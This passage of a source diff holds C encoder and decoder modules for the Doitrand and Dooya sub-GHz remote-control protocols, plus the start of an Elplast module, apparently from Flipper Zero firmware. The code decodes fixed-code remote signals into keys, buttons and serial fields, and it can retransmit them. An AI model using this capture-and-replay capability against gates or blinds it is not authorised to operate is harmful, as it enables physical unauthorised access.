void subghz_protocol_encoder_doitrand_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderDoitrand* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderDoitrand instance
* @return true On success
*/
static bool subghz_protocol_encoder_doitrand_get_upload(SubGhzProtocolEncoderDoitrand* instance) {
furi_assert(instance);
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
//Send header
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_short * 62);
//Send start bit
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_short * 2 - 100);
//Send key data
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_long);
}
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderDoitrand* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_doitrand_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_doitrand_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_doitrand_stop(void* context) {
SubGhzProtocolEncoderDoitrand* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_doitrand_yield(void* context) {
SubGhzProtocolEncoderDoitrand* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_doitrand_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderDoitrand* instance = malloc(sizeof(SubGhzProtocolDecoderDoitrand));
instance->base.protocol = &subghz_protocol_doitrand;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_doitrand_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDoitrand* instance = context;
free(instance);
}
void subghz_protocol_decoder_doitrand_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDoitrand* instance = context;
instance->decoder.parser_step = DoitrandDecoderStepReset;
}
void subghz_protocol_decoder_doitrand_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderDoitrand* instance = context;
switch(instance->decoder.parser_step) {
case DoitrandDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_short * 62) <
subghz_protocol_doitrand_const.te_delta * 30)) {
//Found Preambula
instance->decoder.parser_step = DoitrandDecoderStepFoundStartBit;
}
break;
case DoitrandDecoderStepFoundStartBit:
if(level && (DURATION_DIFF(duration, (subghz_protocol_doitrand_const.te_short * 2)) <
subghz_protocol_doitrand_const.te_delta * 3)) {
//Found start bit
instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = DoitrandDecoderStepReset;
}
break;
case DoitrandDecoderStepSaveDuration:
if(!level) {
if(duration >= ((uint32_t)subghz_protocol_doitrand_const.te_short * 10 +
subghz_protocol_doitrand_const.te_delta)) {
instance->decoder.parser_step = DoitrandDecoderStepFoundStartBit;
if(instance->decoder.decode_count_bit ==
subghz_protocol_doitrand_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
break;
} else {
instance->decoder.te_last = duration;
instance->decoder.parser_step = DoitrandDecoderStepCheckDuration;
}
}
break;
case DoitrandDecoderStepCheckDuration:
if(level) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_doitrand_const.te_short) <
subghz_protocol_doitrand_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_long) <
subghz_protocol_doitrand_const.te_delta * 3)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_doitrand_const.te_long) <
subghz_protocol_doitrand_const.te_delta * 3) &&
(DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_short) <
subghz_protocol_doitrand_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = DoitrandDecoderStepReset;
}
} else {
instance->decoder.parser_step = DoitrandDecoderStepReset;
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_doitrand_check_remote_controller(SubGhzBlockGeneric* instance) {
/*
* 67892345 0 k 1
* 0000082F5F => 00000000000000000 10 000010111101011111
* 0002082F5F => 00000000000100000 10 000010111101011111
* 0200082F5F => 00010000000000000 10 000010111101011111
* 0400082F5F => 00100000000000000 10 000010111101011111
* 0800082F5F => 01000000000000000 10 000010111101011111
* 1000082F5F => 10000000000000000 10 000010111101011111
* 0020082F5F => 00000001000000000 10 000010111101011111
* 0040082F5F => 00000010000000000 10 000010111101011111
* 0080082F5F => 00000100000000000 10 000010111101011111
* 0100082F5F => 00001000000000000 10 000010111101011111
* 000008AF5F => 00000000000000000 10 001010111101011111
* 1FE208AF5F => 11111111000100000 10 001010111101011111
*
* 0...9 - DIP
* k- KEY
*/
instance->cnt = (instance->data >> 24) | ((instance->data >> 15) & 0x1);
instance->btn = ((instance->data >> 18) & 0x3);
}
uint8_t subghz_protocol_decoder_doitrand_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDoitrand* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_doitrand_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderDoitrand* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderDoitrand* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_doitrand_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_doitrand_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderDoitrand* instance = context;
subghz_protocol_doitrand_check_remote_controller(&instance->generic);
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = false;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 2;
//
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%02lX%08lX\r\n"
"Btn:%X\r\n"
"DIP:" DIP_PATTERN "\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data >> 32) & 0xFFFFFFFF,
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
instance->generic.btn,
CNT_TO_DIP(instance->generic.cnt));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_DOITRAND_NAME "Doitrand"
typedef struct SubGhzProtocolDecoderDoitrand SubGhzProtocolDecoderDoitrand;
typedef struct SubGhzProtocolEncoderDoitrand SubGhzProtocolEncoderDoitrand;
extern const SubGhzProtocolDecoder subghz_protocol_doitrand_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_doitrand_encoder;
extern const SubGhzProtocol subghz_protocol_doitrand;
/**
* Allocate SubGhzProtocolEncoderDoitrand.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderDoitrand* pointer to a SubGhzProtocolEncoderDoitrand instance
*/
void* subghz_protocol_encoder_doitrand_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderDoitrand.
* @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
*/
void subghz_protocol_encoder_doitrand_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
*/
void subghz_protocol_encoder_doitrand_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_doitrand_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderDoitrand.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderDoitrand* pointer to a SubGhzProtocolDecoderDoitrand instance
*/
void* subghz_protocol_decoder_doitrand_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderDoitrand.
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
*/
void subghz_protocol_decoder_doitrand_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderDoitrand.
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
*/
void subghz_protocol_decoder_doitrand_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_doitrand_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_doitrand_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderDoitrand.
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_doitrand_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderDoitrand.
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
* @param output Resulting text
*/
void subghz_protocol_decoder_doitrand_get_string(void* context, FuriString* output);
@@ -0,0 +1,444 @@
#include "dooya.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#define TAG "SubGhzProtocolDooya"
#define DOYA_SINGLE_CHANNEL 0xFF
static const SubGhzBlockConst subghz_protocol_dooya_const = {
.te_short = 366,
.te_long = 733,
.te_delta = 120,
.min_count_bit_for_found = 40,
};
struct SubGhzProtocolDecoderDooya {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderDooya {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
DooyaDecoderStepReset = 0,
DooyaDecoderStepFoundStartBit,
DooyaDecoderStepSaveDuration,
DooyaDecoderStepCheckDuration,
} DooyaDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_dooya_decoder = {
.alloc = subghz_protocol_decoder_dooya_alloc,
.free = subghz_protocol_decoder_dooya_free,
.feed = subghz_protocol_decoder_dooya_feed,
.reset = subghz_protocol_decoder_dooya_reset,
.get_hash_data = subghz_protocol_decoder_dooya_get_hash_data,
.serialize = subghz_protocol_decoder_dooya_serialize,
.deserialize = subghz_protocol_decoder_dooya_deserialize,
.get_string = subghz_protocol_decoder_dooya_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_dooya_encoder = {
.alloc = subghz_protocol_encoder_dooya_alloc,
.free = subghz_protocol_encoder_dooya_free,
.deserialize = subghz_protocol_encoder_dooya_deserialize,
.stop = subghz_protocol_encoder_dooya_stop,
.yield = subghz_protocol_encoder_dooya_yield,
};
const SubGhzProtocol subghz_protocol_dooya = {
.name = SUBGHZ_PROTOCOL_DOOYA_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_dooya_decoder,
.encoder = &subghz_protocol_dooya_encoder,
};
void* subghz_protocol_encoder_dooya_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderDooya* instance = malloc(sizeof(SubGhzProtocolEncoderDooya));
instance->base.protocol = &subghz_protocol_dooya;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 128;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_dooya_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderDooya* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderDooya instance
* @return true On success
*/
static bool subghz_protocol_encoder_dooya_get_upload(SubGhzProtocolEncoderDooya* instance) {
furi_assert(instance);
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
//Send header
if(bit_read(instance->generic.data, 0)) {
instance->encoder.upload[index++] = level_duration_make(
false,
(uint32_t)subghz_protocol_dooya_const.te_long * 12 +
subghz_protocol_dooya_const.te_long);
} else {
instance->encoder.upload[index++] = level_duration_make(
false,
(uint32_t)subghz_protocol_dooya_const.te_long * 12 +
subghz_protocol_dooya_const.te_short);
}
//Send start bit
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_short * 13);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_long * 2);
//Send key data
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_long);
}
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_dooya_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderDooya* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_dooya_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_dooya_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_dooya_stop(void* context) {
SubGhzProtocolEncoderDooya* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_dooya_yield(void* context) {
SubGhzProtocolEncoderDooya* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_dooya_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderDooya* instance = malloc(sizeof(SubGhzProtocolDecoderDooya));
instance->base.protocol = &subghz_protocol_dooya;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_dooya_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDooya* instance = context;
free(instance);
}
void subghz_protocol_decoder_dooya_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDooya* instance = context;
instance->decoder.parser_step = DooyaDecoderStepReset;
}
void subghz_protocol_decoder_dooya_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderDooya* instance = context;
switch(instance->decoder.parser_step) {
case DooyaDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long * 12) <
subghz_protocol_dooya_const.te_delta * 20)) {
instance->decoder.parser_step = DooyaDecoderStepFoundStartBit;
}
break;
case DooyaDecoderStepFoundStartBit:
if(!level) {
if(DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long * 2) <
subghz_protocol_dooya_const.te_delta * 3) {
instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = DooyaDecoderStepReset;
}
} else if(
DURATION_DIFF(duration, subghz_protocol_dooya_const.te_short * 13) <
subghz_protocol_dooya_const.te_delta * 5) {
break;
} else {
instance->decoder.parser_step = DooyaDecoderStepReset;
}
break;
case DooyaDecoderStepSaveDuration:
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = DooyaDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = DooyaDecoderStepReset;
}
break;
case DooyaDecoderStepCheckDuration:
if(!level) {
if(duration >= (subghz_protocol_dooya_const.te_long * 4)) {
//add last bit
if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_short) <
subghz_protocol_dooya_const.te_delta) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
} else if(
DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_long) <
subghz_protocol_dooya_const.te_delta * 2) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
} else {
instance->decoder.parser_step = DooyaDecoderStepReset;
break;
}
instance->decoder.parser_step = DooyaDecoderStepFoundStartBit;
if(instance->decoder.decode_count_bit ==
subghz_protocol_dooya_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
break;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_short) <
subghz_protocol_dooya_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long) <
subghz_protocol_dooya_const.te_delta * 2)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_long) <
subghz_protocol_dooya_const.te_delta * 2) &&
(DURATION_DIFF(duration, subghz_protocol_dooya_const.te_short) <
subghz_protocol_dooya_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = DooyaDecoderStepReset;
}
} else {
instance->decoder.parser_step = DooyaDecoderStepReset;
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_dooya_check_remote_controller(SubGhzBlockGeneric* instance) {
/*
* serial s/m ch key
* long press down X * E1DC030533, 40b 111000011101110000000011 0000 0101 0011 0011
*
* short press down 3 * E1DC030533, 40b 111000011101110000000011 0000 0101 0011 0011
* 3 * E1DC03053C, 40b 111000011101110000000011 0000 0101 0011 1100
*
* press stop X * E1DC030555, 40b 111000011101110000000011 0000 0101 0101 0101
*
* long press up X * E1DC030511, 40b 111000011101110000000011 0000 0101 0001 0001
*
* short press up 3 * E1DC030511, 40b 111000011101110000000011 0000 0101 0001 0001
* 3 * E1DC03051E, 40b 111000011101110000000011 0000 0101 0001 1110
*
* serial: 3 byte serial number
* s/m: single (b0000) / multi (b0001) channel console
* ch: channel if single (always b0101) or multi
* key: 0b00010001 - long press up
* 0b00011110 - short press up
* 0b00110011 - long press down
* 0b00111100 - short press down
* 0b01010101 - press stop
* 0b01111001 - press up + down
* 0b10000000 - press up + stop
* 0b10000001 - press down + stop
* 0b11001100 - press P2
*
*/
instance->serial = (instance->data >> 16);
if((instance->data >> 12) & 0x0F) {
instance->cnt = (instance->data >> 8) & 0x0F;
} else {
instance->cnt = DOYA_SINGLE_CHANNEL;
}
instance->btn = instance->data & 0xFF;
}
uint8_t subghz_protocol_decoder_dooya_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDooya* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_dooya_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderDooya* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_dooya_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderDooya* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_dooya_const.min_count_bit_for_found);
}
/**
* Get button name.
* @param btn Button number, 8 bit
*/
static const char* subghz_protocol_dooya_get_name_button(uint8_t btn) {
const char* btn_name;
switch(btn) {
case 0b00010001:
btn_name = "Up_Long";
break;
case 0b00011110:
btn_name = "Up_Short";
break;
case 0b00110011:
btn_name = "Down_Long";
break;
case 0b00111100:
btn_name = "Down_Short";
break;
case 0b01010101:
btn_name = "Stop";
break;
case 0b01111001:
btn_name = "Up+Down";
break;
case 0b10000000:
btn_name = "Up+Stop";
break;
case 0b10000001:
btn_name = "Down+Stop";
break;
case 0b11001100:
btn_name = "P2";
break;
default:
btn_name = "Unknown";
break;
}
return btn_name;
}
void subghz_protocol_decoder_dooya_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderDooya* instance = context;
subghz_protocol_dooya_check_remote_controller(&instance->generic);
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = false;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 8;
//
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:0x%010llX\r\n"
"Sn:0x%08lX\r\n"
"Btn:%X - %s\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
instance->generic.data,
instance->generic.serial,
instance->generic.btn,
subghz_protocol_dooya_get_name_button(instance->generic.btn));
if(instance->generic.cnt == DOYA_SINGLE_CHANNEL) {
furi_string_cat_printf(output, "Ch:Single\r\n");
} else {
furi_string_cat_printf(output, "Ch:%lu\r\n", instance->generic.cnt);
}
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_DOOYA_NAME "Dooya"
typedef struct SubGhzProtocolDecoderDooya SubGhzProtocolDecoderDooya;
typedef struct SubGhzProtocolEncoderDooya SubGhzProtocolEncoderDooya;
extern const SubGhzProtocolDecoder subghz_protocol_dooya_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_dooya_encoder;
extern const SubGhzProtocol subghz_protocol_dooya;
/**
* Allocate SubGhzProtocolEncoderDooya.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderDooya* pointer to a SubGhzProtocolEncoderDooya instance
*/
void* subghz_protocol_encoder_dooya_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderDooya.
* @param context Pointer to a SubGhzProtocolEncoderDooya instance
*/
void subghz_protocol_encoder_dooya_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderDooya instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_dooya_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderDooya instance
*/
void subghz_protocol_encoder_dooya_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderDooya instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_dooya_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderDooya.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderDooya* pointer to a SubGhzProtocolDecoderDooya instance
*/
void* subghz_protocol_decoder_dooya_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderDooya.
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
*/
void subghz_protocol_decoder_dooya_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderDooya.
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
*/
void subghz_protocol_decoder_dooya_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_dooya_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_dooya_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderDooya.
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_dooya_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderDooya.
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_dooya_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
* @param output Resulting text
*/
void subghz_protocol_decoder_dooya_get_string(void* context, FuriString* output);
@@ -0,0 +1,322 @@
#include "elplast.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#define TAG "SubGhzProtocolElplast"
static const SubGhzBlockConst subghz_protocol_elplast_const = {
.te_short = 230,
.te_long = 1550,
.te_delta = 160,
.min_count_bit_for_found = 18,
};
struct SubGhzProtocolDecoderElplast {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderElplast {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
ElplastDecoderStepReset = 0,
ElplastDecoderStepSaveDuration,
ElplastDecoderStepCheckDuration,
} ElplastDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_elplast_decoder = {
.alloc = subghz_protocol_decoder_elplast_alloc,
.free = subghz_protocol_decoder_elplast_free,
.feed = subghz_protocol_decoder_elplast_feed,
.reset = subghz_protocol_decoder_elplast_reset,
.get_hash_data = subghz_protocol_decoder_elplast_get_hash_data,
.serialize = subghz_protocol_decoder_elplast_serialize,
.deserialize = subghz_protocol_decoder_elplast_deserialize,
.get_string = subghz_protocol_decoder_elplast_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_elplast_encoder = {
